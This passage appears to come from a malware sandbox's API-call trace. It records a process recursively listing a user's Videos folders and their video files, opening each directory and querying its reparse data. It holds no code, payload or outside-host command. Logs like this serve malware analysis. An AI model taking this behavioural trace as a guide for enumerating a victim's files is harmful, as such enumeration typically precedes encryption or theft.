ftLastWriteTime.dwLowDateTime=0xf6d80bb0, ftLastWriteTime.dwHighDateTime=0x1d5bf15, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cK_m9_pVw3Uvu", cAlternateFileName="")) returned 1 [0091.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1353b30 [0091.104] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\-f9Ha\\-qHaNLxb3hdsrPymc\\cK_m9_pVw3Uvu" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\oxf59rzwsb\\gd yd5nq43q\\-f9ha\\-qhanlxb3hdsrpymc\\ck_m9_pvw3uvu"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf984840, ftCreationTime.dwHighDateTime=0x1d5bb4e, ftLastAccessTime.dwLowDateTime=0xf6d80bb0, ftLastAccessTime.dwHighDateTime=0x1d5bf15, ftLastWriteTime.dwLowDateTime=0xf6d80bb0, ftLastWriteTime.dwHighDateTime=0x1d5bf15, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0091.104] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\-f9Ha\\-qHaNLxb3hdsrPymc\\cK_m9_pVw3Uvu" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\oxf59rzwsb\\gd yd5nq43q\\-f9ha\\-qhanlxb3hdsrpymc\\ck_m9_pvw3uvu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0091.104] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0091.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.104] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0091.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.105] NtClose (Handle=0x178) returned 0x0 [0091.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1353b30) returned 1 [0091.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1353b30 [0091.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1353c38 [0091.106] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\-f9Ha\\-qHaNLxb3hdsrPymc\\cK_m9_pVw3Uvu\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e90c0 [0091.106] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf984840, ftCreationTime.dwHighDateTime=0x1d5bb4e, ftLastAccessTime.dwLowDateTime=0xf6d80bb0, ftLastAccessTime.dwHighDateTime=0x1d5bf15, ftLastWriteTime.dwLowDateTime=0xf6d80bb0, ftLastWriteTime.dwHighDateTime=0x1d5bf15, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.107] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7538fc0, ftCreationTime.dwHighDateTime=0x1d5bc9c, ftLastAccessTime.dwLowDateTime=0xbd055080, ftLastAccessTime.dwHighDateTime=0x1d5b59e, ftLastWriteTime.dwLowDateTime=0xbd055080, ftLastWriteTime.dwHighDateTime=0x1d5b59e, nFileSizeHigh=0x0, nFileSizeLow=0x15760, dwReserved0=0x0, dwReserved1=0x0, cFileName="9z0TG3XWAPJ.swf", cAlternateFileName="")) returned 1 [0091.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1353d40 [0091.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6558 [0091.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1353e48 [0091.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.110] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8332dce0, ftCreationTime.dwHighDateTime=0x1d5c1f3, ftLastAccessTime.dwLowDateTime=0x2b6caa30, ftLastAccessTime.dwHighDateTime=0x1d5b623, ftLastWriteTime.dwLowDateTime=0x2b6caa30, ftLastWriteTime.dwHighDateTime=0x1d5b623, nFileSizeHigh=0x0, nFileSizeLow=0xbf5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="q87p GYieQzt6Ac9.flv", cAlternateFileName="")) returned 1 [0091.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6578 [0091.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1353f50 [0091.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.112] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44d7b600, ftCreationTime.dwHighDateTime=0x1d5ba82, ftLastAccessTime.dwLowDateTime=0xf98b0020, ftLastAccessTime.dwHighDateTime=0x1d5c31a, ftLastWriteTime.dwLowDateTime=0xf98b0020, ftLastWriteTime.dwHighDateTime=0x1d5c31a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tTyVUiJe", cAlternateFileName="")) returned 1 [0091.112] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb461120, ftCreationTime.dwHighDateTime=0x1d5bb40, ftLastAccessTime.dwLowDateTime=0xd5325f80, ftLastAccessTime.dwHighDateTime=0x1d5be5a, ftLastWriteTime.dwLowDateTime=0xd5325f80, ftLastWriteTime.dwHighDateTime=0x1d5be5a, nFileSizeHigh=0x0, nFileSizeLow=0x164f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="XejhoqwkqmQ.flv", cAlternateFileName="")) returned 1 [0091.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6598 [0091.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354058 [0091.114] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.114] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc39a3190, ftCreationTime.dwHighDateTime=0x1d5b657, ftLastAccessTime.dwLowDateTime=0xe8f12d20, ftLastAccessTime.dwHighDateTime=0x1d5c31f, ftLastWriteTime.dwLowDateTime=0xe8f12d20, ftLastWriteTime.dwHighDateTime=0x1d5c31f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xeusB60", cAlternateFileName="")) returned 1 [0091.114] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b27350, ftCreationTime.dwHighDateTime=0x1d5ba7e, ftLastAccessTime.dwLowDateTime=0x2c310910, ftLastAccessTime.dwHighDateTime=0x1d5c1ff, ftLastWriteTime.dwLowDateTime=0x2c310910, ftLastWriteTime.dwHighDateTime=0x1d5c1ff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zJGiRuLhYXrLB6Pamecz", cAlternateFileName="")) returned 1 [0091.114] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b27350, ftCreationTime.dwHighDateTime=0x1d5ba7e, ftLastAccessTime.dwLowDateTime=0x2c310910, ftLastAccessTime.dwHighDateTime=0x1d5c1ff, ftLastWriteTime.dwLowDateTime=0x2c310910, ftLastWriteTime.dwHighDateTime=0x1d5c1ff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zJGiRuLhYXrLB6Pamecz", cAlternateFileName="")) returned 0 [0091.114] GetLastError () returned 0x12 [0091.114] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\-f9Ha\\-qHaNLxb3hdsrPymc\\cK_m9_pVw3Uvu\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9140 [0091.114] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0091.114] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf984840, ftCreationTime.dwHighDateTime=0x1d5bb4e, ftLastAccessTime.dwLowDateTime=0xf6d80bb0, ftLastAccessTime.dwHighDateTime=0x1d5bf15, ftLastWriteTime.dwLowDateTime=0xf6d80bb0, ftLastWriteTime.dwHighDateTime=0x1d5bf15, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.114] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7538fc0, ftCreationTime.dwHighDateTime=0x1d5bc9c, ftLastAccessTime.dwLowDateTime=0xbd055080, ftLastAccessTime.dwHighDateTime=0x1d5b59e, ftLastWriteTime.dwLowDateTime=0xbd055080, ftLastWriteTime.dwHighDateTime=0x1d5b59e, nFileSizeHigh=0x0, nFileSizeLow=0x15760, dwReserved0=0x0, dwReserved1=0x0, cFileName="9z0TG3XWAPJ.swf", cAlternateFileName="")) returned 1 [0091.114] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8332dce0, ftCreationTime.dwHighDateTime=0x1d5c1f3, ftLastAccessTime.dwLowDateTime=0x2b6caa30, ftLastAccessTime.dwHighDateTime=0x1d5b623, ftLastWriteTime.dwLowDateTime=0x2b6caa30, ftLastWriteTime.dwHighDateTime=0x1d5b623, nFileSizeHigh=0x0, nFileSizeLow=0xbf5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="q87p GYieQzt6Ac9.flv", cAlternateFileName="")) returned 1 [0091.114] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44d7b600, ftCreationTime.dwHighDateTime=0x1d5ba82, ftLastAccessTime.dwLowDateTime=0xf98b0020, ftLastAccessTime.dwHighDateTime=0x1d5c31a, ftLastWriteTime.dwLowDateTime=0xf98b0020, ftLastWriteTime.dwHighDateTime=0x1d5c31a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tTyVUiJe", cAlternateFileName="")) returned 1 [0091.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354160 [0091.115] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\-f9Ha\\-qHaNLxb3hdsrPymc\\cK_m9_pVw3Uvu\\tTyVUiJe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\oxf59rzwsb\\gd yd5nq43q\\-f9ha\\-qhanlxb3hdsrpymc\\ck_m9_pvw3uvu\\ttyvuije"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44d7b600, ftCreationTime.dwHighDateTime=0x1d5ba82, ftLastAccessTime.dwLowDateTime=0xf98b0020, ftLastAccessTime.dwHighDateTime=0x1d5c31a, ftLastWriteTime.dwLowDateTime=0xf98b0020, ftLastWriteTime.dwHighDateTime=0x1d5c31a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.115] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\-f9Ha\\-qHaNLxb3hdsrPymc\\cK_m9_pVw3Uvu\\tTyVUiJe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\oxf59rzwsb\\gd yd5nq43q\\-f9ha\\-qhanlxb3hdsrpymc\\ck_m9_pvw3uvu\\ttyvuije"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0091.115] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0091.115] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.115] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0091.116] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.116] NtClose (Handle=0x178) returned 0x0 [0091.116] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354160) returned 1 [0091.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354160 [0091.117] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354268 [0091.117] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\-f9Ha\\-qHaNLxb3hdsrPymc\\cK_m9_pVw3Uvu\\tTyVUiJe\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e90c0 [0091.117] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44d7b600, ftCreationTime.dwHighDateTime=0x1d5ba82, ftLastAccessTime.dwLowDateTime=0xf98b0020, ftLastAccessTime.dwHighDateTime=0x1d5c31a, ftLastWriteTime.dwLowDateTime=0xf98b0020, ftLastWriteTime.dwHighDateTime=0x1d5c31a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.119] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e5cd6c0, ftCreationTime.dwHighDateTime=0x1d5b7ac, ftLastAccessTime.dwLowDateTime=0xf89d7340, ftLastAccessTime.dwHighDateTime=0x1d5b61e, ftLastWriteTime.dwLowDateTime=0xf89d7340, ftLastWriteTime.dwHighDateTime=0x1d5b61e, nFileSizeHigh=0x0, nFileSizeLow=0xa870, dwReserved0=0x0, dwReserved1=0x0, cFileName="yCqz jy Rb kE.swf", cAlternateFileName="")) returned 1 [0091.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.119] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.120] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354370 [0091.120] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f65b8 [0091.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354478 [0091.121] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.121] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5a1020, ftCreationTime.dwHighDateTime=0x1d5c3e8, ftLastAccessTime.dwLowDateTime=0xd1eb9b60, ftLastAccessTime.dwHighDateTime=0x1d5bdca, ftLastWriteTime.dwLowDateTime=0xd1eb9b60, ftLastWriteTime.dwHighDateTime=0x1d5bdca, nFileSizeHigh=0x0, nFileSizeLow=0x161f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="YSCnJoF8aR7vpuapv7B8.mkv", cAlternateFileName="")) returned 1 [0091.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.121] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1252f88 [0091.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354370) returned 1 [0091.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f65d8 [0091.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1253110 [0091.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.123] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5a1020, ftCreationTime.dwHighDateTime=0x1d5c3e8, ftLastAccessTime.dwLowDateTime=0xd1eb9b60, ftLastAccessTime.dwHighDateTime=0x1d5bdca, ftLastWriteTime.dwLowDateTime=0xd1eb9b60, ftLastWriteTime.dwHighDateTime=0x1d5bdca, nFileSizeHigh=0x0, nFileSizeLow=0x161f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="YSCnJoF8aR7vpuapv7B8.mkv", cAlternateFileName="")) returned 0 [0091.123] GetLastError () returned 0x12 [0091.123] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\-f9Ha\\-qHaNLxb3hdsrPymc\\cK_m9_pVw3Uvu\\tTyVUiJe\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9200 [0091.124] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0091.124] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44d7b600, ftCreationTime.dwHighDateTime=0x1d5ba82, ftLastAccessTime.dwLowDateTime=0xf98b0020, ftLastAccessTime.dwHighDateTime=0x1d5c31a, ftLastWriteTime.dwLowDateTime=0xf98b0020, ftLastWriteTime.dwHighDateTime=0x1d5c31a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.124] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e5cd6c0, ftCreationTime.dwHighDateTime=0x1d5b7ac, ftLastAccessTime.dwLowDateTime=0xf89d7340, ftLastAccessTime.dwHighDateTime=0x1d5b61e, ftLastWriteTime.dwLowDateTime=0xf89d7340, ftLastWriteTime.dwHighDateTime=0x1d5b61e, nFileSizeHigh=0x0, nFileSizeLow=0xa870, dwReserved0=0x0, dwReserved1=0x0, cFileName="yCqz jy Rb kE.swf", cAlternateFileName="")) returned 1 [0091.124] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5a1020, ftCreationTime.dwHighDateTime=0x1d5c3e8, ftLastAccessTime.dwLowDateTime=0xd1eb9b60, ftLastAccessTime.dwHighDateTime=0x1d5bdca, ftLastWriteTime.dwLowDateTime=0xd1eb9b60, ftLastWriteTime.dwHighDateTime=0x1d5bdca, nFileSizeHigh=0x0, nFileSizeLow=0x161f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="YSCnJoF8aR7vpuapv7B8.mkv", cAlternateFileName="")) returned 1 [0091.124] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5a1020, ftCreationTime.dwHighDateTime=0x1d5c3e8, ftLastAccessTime.dwLowDateTime=0xd1eb9b60, ftLastAccessTime.dwHighDateTime=0x1d5bdca, ftLastWriteTime.dwLowDateTime=0xd1eb9b60, ftLastWriteTime.dwHighDateTime=0x1d5bdca, nFileSizeHigh=0x0, nFileSizeLow=0x161f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="YSCnJoF8aR7vpuapv7B8.mkv", cAlternateFileName="")) returned 0 [0091.124] GetLastError () returned 0x12 [0091.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354268) returned 1 [0091.124] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0091.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1252f88) returned 1 [0091.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354160) returned 1 [0091.136] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb461120, ftCreationTime.dwHighDateTime=0x1d5bb40, ftLastAccessTime.dwLowDateTime=0xd5325f80, ftLastAccessTime.dwHighDateTime=0x1d5be5a, ftLastWriteTime.dwLowDateTime=0xd5325f80, ftLastWriteTime.dwHighDateTime=0x1d5be5a, nFileSizeHigh=0x0, nFileSizeLow=0x164f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="XejhoqwkqmQ.flv", cAlternateFileName="")) returned 1 [0091.136] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc39a3190, ftCreationTime.dwHighDateTime=0x1d5b657, ftLastAccessTime.dwLowDateTime=0xe8f12d20, ftLastAccessTime.dwHighDateTime=0x1d5c31f, ftLastWriteTime.dwLowDateTime=0xe8f12d20, ftLastWriteTime.dwHighDateTime=0x1d5c31f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xeusB60", cAlternateFileName="")) returned 1 [0091.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354160 [0091.137] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\-f9Ha\\-qHaNLxb3hdsrPymc\\cK_m9_pVw3Uvu\\xeusB60" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\oxf59rzwsb\\gd yd5nq43q\\-f9ha\\-qhanlxb3hdsrpymc\\ck_m9_pvw3uvu\\xeusb60"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc39a3190, ftCreationTime.dwHighDateTime=0x1d5b657, ftLastAccessTime.dwLowDateTime=0xe8f12d20, ftLastAccessTime.dwHighDateTime=0x1d5c31f, ftLastWriteTime.dwLowDateTime=0xe8f12d20, ftLastWriteTime.dwHighDateTime=0x1d5c31f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.137] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\-f9Ha\\-qHaNLxb3hdsrPymc\\cK_m9_pVw3Uvu\\xeusB60" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\oxf59rzwsb\\gd yd5nq43q\\-f9ha\\-qhanlxb3hdsrpymc\\ck_m9_pvw3uvu\\xeusb60"), dwDesiredAccess=0x80000000, 